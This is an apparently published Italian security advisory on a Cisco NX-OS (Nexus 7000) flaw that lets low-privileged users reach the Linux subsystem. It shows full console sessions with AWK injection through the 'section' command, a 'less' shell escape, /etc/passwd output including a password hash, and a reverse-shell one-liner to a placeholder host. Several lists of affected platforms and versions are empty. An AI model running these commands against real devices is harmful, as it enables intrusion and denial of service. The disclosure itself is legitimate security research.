
Vulnerabilità di sicurezza pubblicate, ricerche e informazioni correlate.
È richiesto accesso locale. Tuttavia, gli account non privilegiati possono ottenere accesso al sistema operativo Linux sottostante, fornendo di fatto accesso completo al dispositivo. Questo potrebbe potenzialmente portare a problemi in ambienti in cui al personale NOC e ad altro personale è consentito un accesso di basso livello come primo punto di contatto, ecc.
Questo problema è stato trovato sulla piattaforma Nexus 7000. Si ritiene che interessi anche le seguenti piattaforme:
Il comando section sembra essere uno script AWK a cui viene passata la stringa richiesta. Tuttavia, l'input non sembra essere sanificato correttamente. Di conseguenza, AWK può essere utilizzato per eseguire comandi arbitrari sul sottosistema Linux.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
Questo può essere utilizzato anche per rimuovere tutti i file dalla bootflash ed eseguire un comando 'reboot' sul sistema. Tuttavia, il riavvio dal sottosistema Linux fa sì che il dispositivo emetta messaggi sulla console e si blocchi; piuttosto che ricaricare effettivamente il dispositivo.
Si ritiene che interessi le seguenti versioni del software:
Ad esempio:
switch# sh clock | less
Una volta visualizzato less, apriamo i file premendo i due punti e poi "e" e specificando il percorso del file.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
Tuttavia, anche questo è solo accesso in sola lettura. MA, se usiamo il tasto "|" (pipe) e poi la macro di tasto "$", possiamo eseguire comandi.
!ls -lah > /bootflash/20110715
Come mostrato di seguito, il file è stato creato nella boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Usando questo metodo, sono stato in grado di stabilire una shell remota nel sottosistema Linux di NX-OS usando quanto segue:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Anche il comando reboot viene accettato come input valido. Tuttavia, piuttosto che riavviare il dispositivo, fa sì che il sistema si blocchi mentre emette errori sulla console.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):